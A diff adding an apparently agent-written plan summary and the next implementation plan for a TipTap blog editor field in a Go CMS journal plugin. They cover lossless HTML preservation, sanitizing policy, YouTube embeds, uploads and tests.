||||
- "Raw HTML cards cover the plan's tags plus article, main, address, dl, iframe, video, audio, picture, object, embed, form, svg, math, script and noscript, so more stored markup survives an edit; the server still strips what its policy does not allow"
|
||||
- "Event handler attributes (on*) are never captured by the global attribute map, so they never reach the live admin DOM"
|
||||
- "External values (value setter, Source tab re-parse) are loaded outside the undo history"
|
||||
|
||||
patterns-established:
|
||||
- "Plugin-owned JS build: package.json with exact pins, committed lockfile, committed dist, scripts/check-dist.sh"
|
||||
- "Editor corpus: entries built only through editor commands and typing, committed as JSON, rewritten with UPDATE_CORPUS=1"
|
||||
|
||||
requirements-completed: [D-01, D-03, D-04, D-05, D-13, D-16, D-18]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "Element defined once; untouched imported post returns byte for byte; no summer-change on set or echo; one summer-change per user edit; Source tab shows and edits the exact string; disabled and invalid; value kept across detach"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#blog editor element (tracer)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Raw HTML cards (text only, no live img/script), unmodelled attributes and spans kept on edited blocks, block reuse leaves every other top-level block byte-identical (and undo restores the exact fixture), tables with thead and bare cell text, links keep target/rel and gain none, no trailing paragraph"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#preservation schema"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "parseEmbedUrl accepts watch?v=, youtu.be/, shorts/, embed/ and refuses everything else; the embed node renders exactly the placeholder, shows a card and never an iframe; a malformed placeholder stays raw HTML; toolbar URL input"
|
||||
requirement: D-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#embeds"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "Picker and drop send summer-upload {id, file}; summer-upload-result {id, url} opens the alt/caption form and inserts img or figure; {id, error} and the 60 s timeout show the error and insert nothing; non-matching ids are ignored"
|
||||
requirement: D-18
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#image uploads"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "isPolicyUrl, setLink and the link input accept only http, https, mailto and relative URLs; javascript:, vbscript:, data:, tel: and tab/newline-split schemes are refused; created links have href only"
|
||||
requirement: D-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#links and the URL rule"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Toolbar offers every D-04 feature, en and pl labels, formatting, undo/redo and table editing, raw HTML block opens Source at the insert, raw card opens its source"
|
||||
requirement: D-13
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#toolbar"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D7
|
||||
description: "editor-corpus.json (15 entries) equals a fresh build through editor commands and holds no iframe, handler, target, rel or style and only policy URLs"
|
||||
requirement: D-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/corpus.test.ts"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D8
|
||||
description: "Committed bundle matches a fresh build, is embedded, has no eval/new Function; go vet clean"
|
||||
requirement: D-16
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./..."
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D9
|
||||
description: "The element in the real admin SPA: typing, selection, toolbar, drag and drop, uploads through the cabana route, CSS in light and dark mode"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "happy-dom covers the logic, not browser selection or layout; plan 03 registers the field type and plan 05/06 run the UAT browser check"
|
||||
|
||||
duration: 25min
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 02: Blog Editor element Summary
|
||||
|
||||
**`golem15-journal-blogeditor`, a TipTap 3.31.4 WYSIWYG editor with an exact-HTML Source tab, returns an untouched imported post byte for byte and, after an edit, keeps every unedited top-level block's original bytes; it ships raw HTML cards, figures, YouTube embed placeholders, policy-only links, SPA-mediated image uploads, a committed policy corpus and a minified bundle embedded in sm-journal-plugin with a drift gate.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 25 min
|
||||
- **Started:** 2026-10-10T09:31:47Z
|
||||
- **Completed:** 2026-10-10T09:56Z
|
||||
- **Tasks:** 3 (Task 1 resolved by the orchestrator, Tasks 2 and 3 executed)
|
||||
- **Files:** 24 in sm-journal-plugin (21 created, 3 modified)
|
||||
|
||||
## Task 1 checkpoint (resolved): package report
|
||||
|
||||
The orchestrator ran the plan's registry verify command for the five editor packages at 3.31.4. Result: `registry-ok`.
|
||||
|
||||
| Package | Version | License | Repository | Install scripts |
|
||||
|---------|---------|---------|------------|-----------------|
|
||||
| @tiptap/core | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
| @tiptap/pm | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
| @tiptap/starter-kit | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
| @tiptap/extension-table | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
| @tiptap/extension-image | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
|
||||
Maintainers are on the tiptap.dev and ueber.io domains plus tiptap-bot; 3.31.4 is the current `latest` dist-tag.
|
||||
|
||||
Human reply, verbatim:
|
||||
|
||||
> packages approved
|
||||
|
||||
Version Task 2 installed: **3.31.4**, pinned exactly (`npm install --save-exact`) for all five packages. Installed devDependencies: vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. npm 12 blocked esbuild 0.27.7's `postinstall` (not in `allowScripts`); esbuild works without it through its optional platform package `@esbuild/linux-x64`, so no script was approved.
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Build (D-16):** private ESM `package.json` with exact pins and a committed `package-lock.json`; `vite.config.ts` builds `assets/src/blogeditor/index.ts` into `assets/dist/blogeditor.js` and `blogeditor.css` (fixed names, minified, exports kept) and configures vitest on happy-dom; `scripts/check-dist.sh` rebuilds into a temp dir and fails with `check-dist: assets/dist is stale; run npm run build and commit assets/dist`; `node_modules/` ignored; `admin.go` embeds both files.
|
||||
- **Element (D-01, D-03, D-13):** light-DOM `BlogEditorElement` with the value/dirty logic of the interfaces skeleton, `emitUpdate: false` loads outside the undo history, `summer-change` on user edits only, an exact-string Source tab, `disabled`, `invalid`, `locale` (as `lang`) and `ui-locale` (labels); `injectCSS: false` with the ProseMirror base rules in `blogeditor.css`, every selector under the tag and only `--c-*` colours.
|
||||
- **Preservation (D-03, D-04):** `rawHtml` text cards with an "Edit as HTML" action, `figure`/`figureImage`/`figcaption`, `embed`, `span` mark, the `htmlAttributes` global attribute map, tables without colgroup or min-width, cells without TipTap's align rewrite, StarterKit without the trailing node and with links that gain nothing.
|
||||
- **Serializer:** `captureBlocks` splits the source by position, validates that the pieces parse to the same DOM as the whole, and parses each alone; `serializeDocument` aligns the captured blocks with the document (prefix, suffix, LCS) and emits original bytes for unchanged runs, raw HTML verbatim and the rest through `DOMSerializer` in an inert document, with tables in thead/bare-cell form. `editor.getHTML()` is never the value.
|
||||
- **Toolbar, embeds, links, uploads (D-04, D-05, D-18):** `buildToolbar` with every listed control; `parseEmbedUrl` and `EMBED_PROVIDERS` (YouTube only); `isPolicyUrl` as Link's `isAllowedUri` and in the link input; uploads by picker or drop as `summer-upload`, insert on `summer-upload-result` with a required alt and optional caption, error and 60 s timeout in an `aria-live` status line.
|
||||
- **Corpus (D-05):** `editor-corpus.json` with 15 entries (`embed-youtube`, `image-without-caption`, `image-with-caption`, `table-header-row`, `links`, `headings`, `bullet-list`, `ordered-list`, `blockquote`, `ordered-list-start-3`, `inline-marks`, `code-block`, `horizontal-rule`, `hard-break`, `combined`), built only through editor commands and typing.
|
||||
- **README:** a "Blog Editor" section (element, contract, untouched values, embeds, link rule, upload flow, JS build, corpus) plus Dependencies and Testing lines.
|
||||
|
||||
## Task Commits
|
||||
|
||||
All code commits are in `../sm-journal-plugin` (branch main):
|
||||
|
||||
1. **Task 1: package check** - resolved by the orchestrator (no commit)
|
||||
2. **Task 2: tracer** - `234e616` build(editor): blog editor JS build and drift gate; `47f3032` feat(editor): blog editor element with exact untouched value
|
||||
3. **Task 3: expansion** - `086e485` feat(editor): preservation schema, block reuse, toolbar, uploads and embeds
|
||||
|
||||
## Bundle
|
||||
|
||||
- `assets/dist/blogeditor.js`: 466,051 bytes minified (147,281 bytes gzip -9)
|
||||
- `assets/dist/blogeditor.css`: 7,480 bytes
|
||||
- `grep -cE "eval\(|new Function\(" assets/dist/blogeditor.js` prints 0; the only `createElement("style")` is TipTap's unused `createStyleTag` (injectCSS is false).
|
||||
|
||||
## Verification
|
||||
|
||||
- Task 2 verify (tracer gate re-run before expansion): smoke tests, `check-dist.sh`, `go vet ./...` and `go test ./classes/ ./controllers/...` passed.
|
||||
- Task 3 verify: `tsc --noEmit`, the full vitest run (2 files, 33 tests), `check-dist.sh` and `go vet ./...` pass.
|
||||
- Acceptance greps: the tag is in the bundle, `admin.go` has one embed line for the bundle, `git check-ignore node_modules` prints `node_modules`, `serializeDocument`/`parseEmbedUrl`/`isPolicyUrl` are exported, the corpus has 15 entries with the embed, figcaption, table and `start="3"` and 0 matches of `<iframe|target=|rel=| on[a-z]+=|style=`, `data-embed` is in the bundle, and all three event names are in it.
|
||||
|
||||
## TDD (Task 3, tdd="true")
|
||||
|
||||
- **RED:** the expanded `smoke.test.ts` and `corpus.test.ts` were written and run against the Task 2 element before the schema, serializer, toolbar and element wiring. Target test `preservation schema > leaves every other top-level block byte-identical after editing one paragraph` failed on its assertion (footer, style block, table and figure flattened, link attributes reordered). `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`). vitest's `tap-flat` reporter prints no `# tests/# pass/# fail` lines, so those three lines were counted from its non-skipped `ok`/`not ok` lines and appended to the record.
|
||||
- **GREEN:** the implementation made all 33 cases pass.
|
||||
- **Commit shape:** the plan prescribes one `feat(editor)` commit for Task 3, so no separate `test(...)` RED commit exists. `embed.ts`, `labels.ts` and `extensions.ts` were drafted just before the tests, so the `parseEmbedUrl` and `isPolicyUrl` cases were already green at RED time; every behavior that needed the schema, serializer, toolbar or upload flow was red.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See key-decisions in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] Fixture source not readable; synthetic fixture with the same structure**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** The environment's permission classifier refused every read of `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json` (PII data handling), including `ls`.
|
||||
- **Fix:** `imported-post.html` is a synthetic post with the structure the plan requires: rendered-markdown blocks (h2, h3, p with em/strong, ul, ol, blockquote, links), the author footer in the shape the repository already uses in `classes/format_html_test.go` (`itemscope`, `itemtype`, `itemprop`, `div` and `span` with `style`, neutral name and `cdn.example.test` photo), a `style` block, a table with thead, a figure with img and figcaption, a link with `target` and `rel`, a paragraph with `"` entities, plus `&`, ` `, `–` and `×`. No real author or post text is copied. A human may swap in the real export later; the tests do not depend on its wording.
|
||||
- **Commit:** 47f3032
|
||||
|
||||
**2. [Rule 3 - Blocking] Library mode does not minify ES output**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** Vite 7 `build.lib` with `formats: ['es']` forces `minifyWhitespace: false` (587 KB); the acceptance assumes a minified bundle.
|
||||
- **Fix:** the same single ES entry through `rollupOptions.input` with `preserveEntrySignatures: 'exports-only'`, `entryFileNames: 'blogeditor.js'`, `assetFileNames: 'blogeditor[extname]'`, `modulePreload: false` (384 KB at Task 2, 466 KB at Task 3). The admin loads it as `type="module"`, as before.
|
||||
- **Files modified:** vite.config.ts
|
||||
- **Commit:** 234e616
|
||||
|
||||
**3. [Rule 2 - Security] on* attributes never captured; uploaded URLs checked**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** a global attribute map that captures every unmodelled attribute would render `onerror`/`onload` from stored HTML into the live admin DOM; an upload answer could carry a URL outside the policy.
|
||||
- **Fix:** `captureAttributes` and `renderCaptured` skip `on*` names (test asserts the editor's `img` has no `on*` attribute); a `summer-upload-result` URL that fails `isPolicyUrl` is shown as an upload error. The serializer and the raw HTML `renderHTML` build DOM only in an inert document.
|
||||
- **Commit:** 086e485
|
||||
|
||||
**4. [Rule 1 - Bug] Replaced values in the undo history; edited value lost on detach**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** TipTap's `setContent` records history, so undo after an external value brought back the replaced document; after `disconnectedCallback` destroyed the editor, a dirty value fell back to the served string.
|
||||
- **Fix:** loads run as `chain().setMeta('addToHistory', false).setContent(...)`; on disconnect a dirty WYSIWYG value is kept as the element's value. Both have tests.
|
||||
- **Commit:** 086e485
|
||||
|
||||
**5. Files outside the plan's lists**
|
||||
- `serializer.ts` was created in Task 2 (minimal, `DOMSerializer` only) so the tracer never used `getHTML()`; Task 3 replaced it as planned.
|
||||
- `tests/blogeditor/helpers.ts` holds the shared mount/typing helpers of both test files.
|
||||
- `plugin_test.go` (`TestJournalSVGEmbed`) asserts that `AdminFS` holds both bundle files and that the script defines the tag. The root package's `TestMain` starts testcontainers, so this runs only on a Docker host (plan 06); it compiles and `go vet` is clean here.
|
||||
|
||||
**6. Scope notes on plan wording**
|
||||
- `RAW_HTML_TAGS` covers more tags than the plan lists (see key-decisions).
|
||||
- Stored links with a scheme outside the policy keep their text but not the link once their block is edited (the plan said "preserved in the editor"); unedited blocks keep their bytes. This matches what the server does on an edited save.
|
||||
- In edited blocks, link attributes come out as `target`, `rel`, `href` (TipTap merges the null option defaults first); values are unchanged and unedited blocks keep their bytes.
|
||||
- Table cells drop TipTap's `align` attribute so a stored `style="text-align: ..."` or `align` is kept verbatim through the attribute map instead of being rewritten.
|
||||
- In the corpus, the `blockquote` builder sits between the two ordered-list builders so the `combined` document keeps two lists (TipTap joins adjacent lists).
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 4 auto-fixed (2 blocking, 1 security, 1 bug) plus file and scope notes. **Impact:** no change to the element contract, the embed markup or the corpus shape that plans 03 and 04 consume.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- No Docker on this host: the root package's Go tests (including the new AdminFS assertion) need testcontainers and run in plan 06.
|
||||
- happy-dom covers the element logic, but not browser selection, IME, real drag and drop or layout; the browser check belongs to the UAT step.
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None. The `field-name`, `record-id` and `options` attributes are accepted and unused, because this type has no options and does not need the record id; that is the contract, not a stub.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 03 registers `blogeditor`/`mlblogeditor` with `Element: "golem15-journal-blogeditor"`, `Scripts: ["assets/dist/blogeditor.js"]` and `Styles: ["assets/dist/blogeditor.css"]` (already in `adminFS`), and reads `tests/blogeditor/fixtures/editor-corpus.json` in place for the Go policy test. The policy must allow `figure` `data-embed`/`data-id`, any `img` `alt` (the corpus has one with `:`, `?` and `"`), and `ol` `start`.
|
||||
- Plan 04 copies `editor-corpus.json` byte for byte into the layer and mirrors the embed provider table (one YouTube entry, id `^[A-Za-z0-9_-]{11}$`).
|
||||
|
||||
## Broken-windows ledger
|
||||
|
||||
- deviation: `tests/blogeditor/fixtures/imported-post.html` (sm-journal-plugin) is synthetic.
|
||||
- unrun-verify: the new `TestJournalSVGEmbed` assertion in sm-journal-plugin `plugin_test.go` needs Docker (plan 06).
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Created files exist in ../sm-journal-plugin: assets/src/blogeditor/{index,element,extensions,serializer,toolbar,embed,labels}.ts, blogeditor.css, assets/dist/blogeditor.js and .css, tests/blogeditor/{helpers,smoke.test,corpus.test}.ts, fixtures/imported-post.html and editor-corpus.json, scripts/check-dist.sh, package.json, package-lock.json, vite.config.ts, tsconfig.json, .gitignore.
|
||||
- Commits exist in ../sm-journal-plugin: 234e616, 47f3032, 086e485.
|
||||
@@ -0,0 +1,378 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 03
|
||||
type: execute
|
||||
wave: 2
|
||||
depends_on: ["16.2-01", "16.2-02"]
|
||||
coupling_justified: ["16.2-04: both plans add the same four editor-output rules (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt any text, ol start integer), each in its own repository; the set is fixed in both plans' text and checked against the same plan 02 corpus, neither plan reads the other's files, and either one stops and reports if the corpus needs a fifth rule"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/classes/editor_policy_test.go
|
||||
- ../sm-journal-plugin/classes/blog_editor.go
|
||||
- ../sm-journal-plugin/classes/media_store.go
|
||||
- ../sm-journal-plugin/classes/media_store_test.go
|
||||
- ../sm-journal-plugin/field_types.go
|
||||
- ../sm-journal-plugin/controllers/posts.go
|
||||
- ../sm-journal-plugin/controllers/categories.go
|
||||
- ../sm-journal-plugin/controllers/posts_editor_smoke_test.go
|
||||
- ../sm-journal-plugin/controllers/api/media.go
|
||||
- ../sm-journal-plugin/controllers/api/media_test.go
|
||||
- ../sm-journal-plugin/models/post/fields.yaml
|
||||
- ../sm-journal-plugin/models/category/fields.yaml
|
||||
- ../sm-journal-plugin/lang/en/lang.yaml
|
||||
- ../sm-journal-plugin/lang/pl/lang.yaml
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- ../sm-journal-plugin/journal_api_categories_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
- .planning/notes/journal-html-sanitizing-bluemonday.md
|
||||
autonomous: true
|
||||
requirements: [D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-14, D-18, D-19]
|
||||
estimate:
|
||||
tokens: 110000
|
||||
raw_tokens: 110000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-08 and D-14: Journal registers the field types blogeditor and mlblogeditor (element golem15-journal-blogeditor, script assets/dist/blogeditor.js, style assets/dist/blogeditor.css) on the plugin; post content in models/post/fields.yaml is type mlblogeditor; excerpt keeps mltextarea."
|
||||
- "D-10 (amended 2026-10-10) and D-04: Decode accepts a string (nil decodes to the empty string) and stores classes.SanitizeHTMLReport's output for every locale cabana hands it, post and category content alike, the raw HTML block and source-tab edits included: the exact submitted bytes and no notice when the policy keeps everything, otherwise the stripped HTML plus pact.FormFieldNotice values naming the removed elements, attributes and comments (lang keys with en and pl plural forms); a save never fails because of unsafe markup; any other value type is a FormFieldError (422 on content)."
|
||||
- "D-02: an admin save that writes content stores the same sanitized HTML in content and content_html for that locale: the host column through FormBeforeCreate/FormBeforeUpdate, a non-default locale through FormAfterCreate/FormAfterUpdate and the translation writer; the admin path no longer runs goldmark (FormatHTML) on content."
|
||||
- "D-03 (Journal half) and todo journal-imported-html-admin-resave: a save that does not write content (cabana skipped it as untouched) leaves content and content_html byte-identical."
|
||||
- "D-07 (assumption A1): Load serves content when its first non-whitespace character is '<'; otherwise (a markdown post) it serves that locale's content_html, and FormatHTML(content) when content_html is empty; there is no format flag and no new column."
|
||||
- "D-09: POST and PUT /_journal/api/v1/posts keep markdown content with FormatHTML-rendered content_html, and POST /_journal/api/v1/media/upload keeps its response shape and validation messages."
|
||||
- "D-19 (amended): category content uses blogeditor (not translatable, matching the Go model and the frozen PHP tree) and is stripped and reported like post content; the 422 CheckHTML gate in the Categories controller's FormBeforeCreate/FormBeforeUpdate is retired (blank content still becomes NULL) and TestCategoriesAdminContent asserts the strip; no public category write path exists (routes.go mounts GET /_journal/api/v1/categories only), so no public contract changes."
|
||||
- "D-18 (Journal half): the blogeditor and mlblogeditor Upload stores an image through the media storage extracted from the public upload route (same key layout /journal/<folder>/<name>, same unique suffix, same public URL), accepts only jpg, jpeg, png, gif and webp whose first bytes sniff as that image type, at most 10240 KiB."
|
||||
- "D-05 (amended): htmlPolicy is extended for exactly the Blog Editor's own output, and nothing else: figure data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$, img alt with any text, ol start matching ^[0-9]+$; every entry of plan 02's editor-corpus.json passes SanitizeHTML byte for byte with an empty removal report (TestEditorOutputPassesPolicy), while iframe, other data-* attributes, other providers and malformed ids are still stripped."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/classes/blog_editor.go"
|
||||
provides: "BlogEditorTypes, LooksLikeHTML and the Decode/Load/ListValue/Upload funcs"
|
||||
contains: "func BlogEditorTypes"
|
||||
- path: "../sm-journal-plugin/classes/format_html.go"
|
||||
provides: "SanitizeHTMLReport, HTMLRemovals and the editor-output policy extension"
|
||||
contains: "func SanitizeHTMLReport"
|
||||
- path: "../sm-journal-plugin/classes/editor_policy_test.go"
|
||||
provides: "the Go half of the editor-output policy cross-check"
|
||||
contains: "TestEditorOutputPassesPolicy"
|
||||
- path: "../sm-journal-plugin/classes/media_store.go"
|
||||
provides: "StoreMedia shared by the public upload route and the editor Upload"
|
||||
contains: "func StoreMedia"
|
||||
- path: "../sm-journal-plugin/field_types.go"
|
||||
provides: "Plugin.FormFieldTypes (pact.HasFormFieldTypes)"
|
||||
contains: "HasFormFieldTypes"
|
||||
- path: "../sm-journal-plugin/models/post/fields.yaml"
|
||||
provides: "post content on the Blog Editor"
|
||||
contains: "mlblogeditor"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/classes/blog_editor.go decodeBlogHTML"
|
||||
to: "../sm-journal-plugin/classes/format_html.go SanitizeHTMLReport"
|
||||
via: "FormFieldDecoded{Value: sanitized, Notices: removalNotices(report)} per locale"
|
||||
pattern: "SanitizeHTMLReport"
|
||||
- from: "../sm-journal-plugin/classes/editor_policy_test.go"
|
||||
to: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02)"
|
||||
via: "every corpus entry must come back from SanitizeHTML unchanged"
|
||||
pattern: "editor-corpus.json"
|
||||
- from: "../sm-journal-plugin/controllers/posts.go preparePostWrite"
|
||||
to: "cabana.FieldWritesFromContext"
|
||||
via: "content_html := the written default-locale content"
|
||||
pattern: "FieldWritesFromContext"
|
||||
- from: "../sm-journal-plugin/controllers/posts.go FormAfterUpdate"
|
||||
to: "cabana.TranslationWriter.WriteTranslated"
|
||||
via: "content_html per written non-default locale (RESEARCH Pitfall 7)"
|
||||
pattern: "content_html"
|
||||
- from: "../sm-journal-plugin/controllers/api/media.go UploadMedia"
|
||||
to: "../sm-journal-plugin/classes/media_store.go StoreMedia"
|
||||
via: "extracted storage, response unchanged"
|
||||
pattern: "StoreMedia"
|
||||
prohibitions:
|
||||
- statement: "htmlPolicy is never relaxed for iframe, object, embed, script, style, event attributes, target, rel, other data-* attributes or URL schemes; its only 16.2 additions are the four editor-output attributes, and the layer mirror (plan 04) adds the same four."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The admin path never stores submitted bytes the policy would change: every written content value is SanitizeHTMLReport output, and no admin save fails because of unsafe markup."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The public Journal write API and the public media upload route keep the PHP contract: request fields, response shapes and messages do not change."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No per-post format flag, new column or migration is added for HTML versus markdown posts."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 03): Journal's Go integration in `../sm-journal-plugin`. The element from plan 02 becomes the `blogeditor`/`mlblogeditor` field types on the framework API from plan 01; post content and category content switch to it; the admin save path stores sanitized HTML in both columns without goldmark and reports what it stripped; the shared policy admits the editor's own output; editor uploads reuse the existing media storage.
|
||||
|
||||
## Revision 2026-10-10 (16.1 drift, CONTEXT D-02, D-04, D-05, D-10 and D-19 amended)
|
||||
|
||||
16.1 replaced the regex gate with bluemonday v1.0.27 (sm-journal-plugin a3551f2, 0d00ec8, 5f47083): `rejectUnsafe` is gone; `FormatHTML` renders with goldmark and then strips through `SanitizeHTML`; `FormatTranslation` sanitizes per-locale `content_html` on API and import writes; `CheckHTML` refuses whenever the policy would change the HTML. Under the amended D-10, every admin write of post and category content stores the policy's output, never fails because of unsafe markup, and reports what was removed. This plan therefore:
|
||||
|
||||
- decodes with `classes.SanitizeHTMLReport` (new) instead of `CheckHTML`, and returns the removals as plan 01's `pact.FormFieldNotice` values;
|
||||
- retires the Categories controller's 422 gate (`TestCategoriesAdminContent` now asserts the strip);
|
||||
- extends the policy for exactly the editor's own output (amended D-05) and pins it with plan 02's corpus (new Task 3).
|
||||
|
||||
Where RESEARCH (Pattern 6, Pitfall 10, Code Example 2, Security Domain) or PATTERNS describe CheckHTML refusing or "no sanitizer", this plan's text wins. The pre-phase sm-journal-plugin head is now c60abc6 (requires summercms v0.1.17).
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Assumptions (explicit)
|
||||
|
||||
- **A1, D-07 detection (user decision 4, delegated):** a stored content value is HTML when its first non-whitespace character is `<` (this includes a leading HTML comment); anything else is a markdown post and is served as its `content_html`. Evidence: in the local export (105 posts) 40 start with `<` and none of those has markdown block or emphasis markers; 65 do not start with `<` (markdown, some with a raw HTML footer such as ekstrakt-z-turkey-tail). A markdown post that starts with an HTML tag would open as raw markdown text; plan 05 reports the split on UAT before release. Covered by tests here and in plan 06.
|
||||
- **Load fallback:** a markdown value whose `content_html` is empty for that locale is served as `FormatHTML(content)` (a format error serves the content unchanged), so the editor never opens empty on a post that has a body.
|
||||
- **Options:** `mlblogeditor` takes `htmlColumn` (the translatable attribute holding the rendered HTML, `content_html` for posts) and `uploadFolder`; `blogeditor` takes `uploadFolder` only. `uploadFolder` follows the public route's folder rule (at most 100 characters, `^[A-Za-z0-9_\-/]*$`, no `..`). Posts use `posts`, categories use `categories`.
|
||||
- **Editor upload filenames:** the base name is lowercased and every character outside `[a-z0-9._-]` becomes `-` (runs collapsed, extension kept, empty name becomes `image`), so the inserted `src` needs no escaping. The public route keeps its own naming (D-09).
|
||||
- **The posts import action** (`runImportPosts`, `console/import_posts.go`) keeps calling `FormatHTML` (goldmark, then `SanitizeHTML`) and `FormatTranslation` on PHP exports; it is not a form save and reports nothing.
|
||||
- **Public API category writes (API parity check, done at planning time):** `routes.go` mounts only `GET /_journal/api/v1/categories`; there is no public category write path, so retiring the admin 422 changes no public contract. The public posts routes keep `FormatHTML` and `FormatTranslation` (D-09); their responses do not change shape.
|
||||
- **`classes.CheckHTML` stays exported** (sm-journal-plugin is a tagged module; removing an exported function would be a breaking change for no gain). After this plan no admin or API write path calls it; it remains the predicate counterpart of the layer's `isSafeJournalHtml` and is used by the policy cross-check test. Its doc comment and README row say exactly that.
|
||||
- **Removal report:** `SanitizeHTMLReport` aligns the start tags of the input with those of bluemonday's output in order (bluemonday only removes, never adds or reorders). An unmatched input tag is a removed element; a raw attribute name missing from, or with a changed decoded value in, the matched output tag is a removed attribute (a `style` that lost a property counts under `style`); comments count separately; anything else that changed sets `Other`. Its report is empty exactly when the returned string equals the input. Names are distinct, first-seen order, at most 10 per list (counts stay exact).
|
||||
- **Policy extension (amended D-05), fixed set shared with plan 04's layer mirror:** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$` (the embed placeholder); `img` `alt` with any value (the editor's alt field takes free text; UGC's Paragraph pattern drops `:`, `?`, `"` and more; an attribute value is escaped on output and carries no URL); `ol` `start` `^[0-9]+$` (TipTap's ordered-list input rule writes it when a list does not start at 1). If plan 02's corpus shows any other attribute the policy strips, stop and report: plans 03 and 04 must add it together, and only if it is not a URL, style, event or iframe attribute.
|
||||
- **ListValue:** strips tags, collapses whitespace and truncates to 120 runes with an ellipsis. No Journal list uses it today; it exists for any list column a host declares with the alias.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `classes.BlogEditorTypes(app func() *backpack.App) []pact.FormFieldType`, `classes.LooksLikeHTML(s string) bool`, `classes.BlogEditorElement` (const `golem15-journal-blogeditor`), unexported `decodeBlogHTML`, `loadBlogHTML`, `blogListValue`, `uploadBlogImage`, `safeUploadName`, `checkBlogOptions`, `removalNotices`.
|
||||
- `classes.SanitizeHTMLReport(doc string) (string, classes.HTMLRemovals)`, `classes.HTMLRemovals{Elements, ElementCount, Attributes, AttributeCount, Comments, Other}` with `Empty() bool`; `SanitizeHTML` becomes the string half of it; `CheckHTML` kept (doc comment updated); `newHTMLPolicy` gains the four editor-output attributes.
|
||||
- `classes.StoreMedia(ctx, bucket *blob.Bucket, folder, filename string, body io.Reader) (classes.StoredMedia, error)`, `classes.StoredMedia{URL, Path}`, `classes.MediaError{Field, Message}`, `classes.MediaMaxBytes`, `classes.MediaFolderPattern`, moved `mediaObjectPath` and `uniqueMediaKey`.
|
||||
